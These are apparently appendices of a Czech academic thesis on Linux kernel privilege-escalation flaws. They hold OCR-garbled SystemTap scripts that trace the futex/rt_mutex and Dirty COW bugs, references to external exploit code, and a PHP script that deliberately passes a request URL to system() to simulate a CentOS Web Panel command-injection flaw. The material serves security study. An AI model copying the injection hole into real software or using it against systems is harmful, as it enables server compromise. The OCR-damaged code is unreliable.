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STAP_RETURN(sizeof (struct plist_node));

h}
function __get_rt_mutex_waiter_size()
Wl
STAP_RETURN (sizeof (struct rt_mutex_waiter));
h}
function __get_iovec_size()
Wl
STAP_RETURN (sizeof (struct iovec));
h}
function __get_list_head_size()
Wl
STAP_RETURN (sizeof (struct list_head));
h}
function __get_int_size()
Wl
STAP_RETURN(sizeof (int));
h}

function __print_addr_limit(addr_limit_arg:long, tid:long, time_us:long)
i
unsigned long *addr_limit = (unsigned long+*)STAP_ARG_addr_limit_arg;
char tid_buf[] = KERN_INFO "tid: %1d\n";
char time_buf[] = KERN_INFO "time: %1d\n";
char addr_limit_buf[] = KERN_INFO "addr_limit: %p\n";

printk(tid_buf, STAP_ARG_tid);

printk(time_buf, STAP_ARG_time_us);

printk(addr_limit_buf, *addr_limit);

printk("---—--————m—— \n");
h}

function __print_lock_wait_list(val:long, tid:long, time_us:long)
i

struct plist_head *head = (struct plist_head *)STAP_ARG_val;

struct plist_node *first = plist_first(head);

struct plist_node *iter = first;

char tid_buf[] = KERN_INFO "tid: %1d\n";

char time_buf[] = KERN_INFO "time: %1d\n";

int i = 0;

printk("---—--————m—— \n");
printk(tid_buf, STAP_ARG_tid);
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h}

printk(time_buf, STAP_ARG_time_us);
do {

__print_iter_waiter(iter);

iter = list_entry(iter->prio_list.next, struct plist_node,
prio_list);

i++;

} while (iter !'= first && i < 10);

printk("---—--————m—— \n");

function __print_waiter_with_addr(waiter_ptr)

{

printf("---———————m— \n");

prio = Q@cast(waiter_ptr, "struct rt_mutex_waiter")->list_entry->prio;
node_list_next = Qcast(waiter_ptr, "struct rt_mutex_waiter")->
list_entry->node_list->next;

node_list_prev = Qcast(waiter_ptr, "struct rt_mutex_waiter")->
list_entry->node_list->prev;

prio_list_next = Qcast(waiter_ptr, "struct rt_mutex_waiter")->
list_entry->prio_list->next;

prio_list_prev = Qcast(waiter_ptr, "struct rt_mutex_waiter")->
list_entry->prio_list->prev;

printf ("rt_waiter:\n");

printf ("prio: %d\n", prio);

printf ("node_list_prev: %p\n", node_list_prev);
printf ("node_list_next: %p\n", node_list_next);
printf ("prio_list_prev: %p\n", prio_list_prev);
printf ("prio_list_next: %p\n", prio_list_next);
printf("---———————m— \n");

probe begin

{

print ("running...\n");

printf ("****x INFO **x**\n");

printf ("struct iovec size: %d\n", __get_iovec_size());

printf ("struct rt_mutex_waiter size: %d\n",
__get_rt_mutex_waiter_size());

printf ("struct plist_node size: %d\n", __get_plist_node_size());
printf ("struct list_head size: %d\n", __get_list_head_size());
printf ("sizeof int: %d\n", __get_int_size());

printf ("kkkkksokkkkkkkk\n") ;
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probe kernel.statement("task_blocks_on_rt_mutex@rtmutex.c:414")
{
if (pid() == $1)
{
__print_lock_wait_list(&($lock->wait_list), tid(),
gettimeofday_us());
__print_addr_limit($waiter->list_entry->node_list->prev,
tid(), gettimeofday_us());

printf ("task_blocks_on_rt_mutex called (row 414) ...\n");
printf ("tid: %d\n", tid());

printf ("time: %1d\n", gettimeofday_us());

printf("added list entry: %s\n", $waiter->list_entry$$);

probe kernel.statement("futex_wait_requeue_pi@futex.c:2440")
{
if (pid() == $1)
{
printf("-——-——————— \n");
printf ("futex_wait_requeue_pi called (row 2440) ...\n");
printf ("tid: %d\n", tid());
printf ("time: %1d\n", gettimeofday_us());
bugged_waiter_ptr = &($rt_waiter);

printf("-——-——————— \n");
}
}
probe kernel.function("verify_iovec").call
{
if (pid() == $1)
{
printf("-——-——————— \n");
printf ("verify_iovec called ...\n");
printf ("tid: %d\n", tid());
printf("time: %1d\n", gettimeofday_us());
printf("iovec addr: %p\n", $iov);
printf("-——-——————— \n");
}
}

probe kernel.statement("verify_iovec@iovec.c:61")

{
if (pidQ) == $1)
{
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printf("-——-——————— \n");
printf ("verify_iovec called (row 61) ...\n");
printf ("tid: %d\n", tid());

printf("time: %1d\n", gettimeofday_us());

i=0;
while (i < 8)
{

printf("index: %d\n", 1);

printf("iov_base_addr: %p\n", &($iov[i]->iov_base));
printf("iov_base: Y%p\n", $iov[i]->iov_base);
printf("iov_len_addr: %p\n", &($iov[i]->iov_len));
printf("iov_len: %p\n", $iov[i]l->iov_len);

i++;
}
printf("-——-——————— \n");
}
}
probe kernel.function("___sys_sendmsg").call
{
if (pid() == $1)
{
printf("-——-——————— \n");
printf("___sys_sendmsg called ...\n");
printf ("tid: %d\n", tid());
printf("time: %1d\n", gettimeofday_us());
printf ("bugged waiter addr: %p\n", bugged_waiter_ptr);
__print_waiter_with_addr (bugged_waiter_ptr);
printf("-——-——————— \n");
}
}
probe kernel.function("sock_sendmsg")
{
if (pid() == $1)
{
printf("-——-——————— \n");
printf ("sock_sendmsg called ...\n");
printf ("tid: %d\n", tid());
printf("time: %1d\n", gettimeofday_us());
__print_waiter_with_addr (bugged_waiter_ptr);
printf("-——-——————— \n");
}
}

probe kernel.function("futex_requeue")

{
if (pidQ) == $1)
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printf("-——-——————— \n");
printf ("futex_requeue called ...\n");

printf ("tid: %d\n", tid());

printf ("time: %1d\n", gettimeofday_us());
printf("-——-——————— \n");

probe kernel.function("rt_mutex_start_proxy_lock")
{
if (pid() == $1)
{
printf("-——-——————— \n");
printf ("rt_mutex_start_proxy_lock called ...\n");
printf ("tid: %d\n", tid());
printf ("time: %1d\n", gettimeofday_us());
printf("-——-——————— \n");

probe kernel.function("futex_proxy_trylock_atomic")
{

if (pid() == $1)

{

printf ("futex_proxy_trylock_atomic called ...\n");
printf ("tid: %d\n", tid());

printf ("time: %1d\n", gettimeofday_us());
printf("-——-——————— \n");

probe kernel.function("futex_lock_pi_atomic").return
{
if (pid() == $1)
{
printf("-——-——————— \n");
printf ("futex_lock_pi_atomic returned ...\n");
printf ("tid: %d\n", tid());
printf ("time: %1d\n", gettimeofday_us());
printf ("ret value: J%d\n", $return);
printf("-——-——————— \n");

probe kernel.statement("futex_wait_requeue_pi@futex.c:2503")

{
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if (pidQ) == $1)

{

printf("-——-——————— \n");
printf ("futex_wait_requeue_pi ...\n");

printf ("tid: %d\n", tid());

printf ("time: %1d\n", gettimeofday_us());
printf("q.rt_waiter addr: %p\n", $gq->rt_waiter);
printf("-——-——————— \n");
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Priloha C

Exploit CVE-2016-5195

Kéd exploitu je dostupny na adrese uvedené ve zdroji [64].
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Priloha D

SystemTap skript CVE-2016-5195

probe begin

{
print ("running...\n");
}
probe kernel.function("mem_rw")
{
if (pid() == $1)
{
printf("-——-——————— \n");
printf ("mem_rw called ...\n");
printf ("tid: %d\n", tid());
printf ("time: %1d\n", gettimeofday_us());
printf("-——-——————— \n");
}
}
probe kernel.function("__get_user_pages")
{
if (pid() == $1)
{
printf("-——-——————— \n");
printf ("__get_user_pages called ...\n");
printf ("tid: %d\n", tid());
printf ("time: %1d\n", gettimeofday_us());
printf("-——-——————— \n");
}
}

probe kernel.statement("__get_user_pages@memory.c:1822")
{
if (pid() == $1)
{
printf("-——-——————— \n");
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printf ("__get_user_pages called (row 1822) ...\n");
printf ("tid: %d\n", tid());

printf ("time: %1d\n", gettimeofday_us());
printf("foll_flags: %u\n", $foll_flags);

printf ("page start address: %p\n", $start);

printf("-——-——————— \n");
}
}
probe kernel.function("do_wp_page")
{
if (pid() == $1)
{
printf("-——-——————— \n");
printf ("do_wp_page called ...\n");
printf ("tid: %d\n", tid());
printf ("time: %1d\n", gettimeofday_us());
printf("-——-——————— \n");
}
}

probe kernel.statement("__access_remote_vm@memory.c:4053")
{
if (pid() == $1)

{
printf("-——-——————— \n");
printf("__access_remote_vm (row 4053) called ...\n");
printf ("tid: %d\n", tid());
printf ("time: %1d\n", gettimeofday_us());
printf ("page struct: %s\n", $page$$);
printf("-——-——————— \n");
}
}
probe kernel.function("follow_page_mask")
{
if (pid() == $1)
{
printf("-——-——————— \n");
printf("follow_page_mask called ...\n");
printf ("tid: %d\n", tid());
printf ("time: %1d\n", gettimeofday_us());
printf("-——-——————— \n");
}
}

probe kernel.function("sys_madvise")

{
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if (pidQ) == $1)

{
printf("---—-—---------—————
printf ("sys_madvise called ...\n");
printf ("tid: %d\n", tid());
printf ("time: %1d\n", gettimeofday_us());
printf("---—-—---------—————
}

probe kernel.function("handle mm_fault")

{
if (pidQ) == $1)

{
printf("---—-—---------—————
printf ("handle_mm_fault called ...\n");
printf ("tid: %d\n", tid());
printf ("time: %1d\n", gettimeofday_us());
printf("---—-—---------—————
}
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Priloha E

Soubor helper.c, expl.sh a

fake module.c - exploit
CVE-2021-4034

Soubory jsou dostupné na adrese uvedené ve zdroji [41].
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Priloha F

PHP skript pro sumulaci
zranitelnosti aplikace Centos Web
Panel

<?php

if (isset ($_POST[’login’])) {
$date_time = date("Y-m-d H:i:s");
$username = $_POST[’username’];
$password = $_POST[’password’];
$url = $_SERVER[’REQUEST_URI’];
$remote_ip = $_SERVER["REMOTE_ADDR"];

if ($username != "root"){ echo "You are not authorized to login"; }
else {
if ($username == "root") {
$escapedUrl = escapeshellarg($url);
system("echo \"" . $date_time . " " . $username . " Successful
Login from: " . $remote_ip . " on: " . $escapedUrl . "\" >>

cwp_client_login.log");
echo "Welcome root";

b
else {
echo "Wrong Password or Username!";
b
b
b
7>
<form action="" method="post">
<label for="username">Username:</label>
<input type="text" name="username" required><br>
<label for="password">Password:</label>
<input type="password" name="password" required><br>
<input type="submit" name="login" value="Login">
</form>
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Priloha G

Exploit CVE-2017-1000253

Kéd exploitu je dostupny na adrese uvedené ve zdroji [49].
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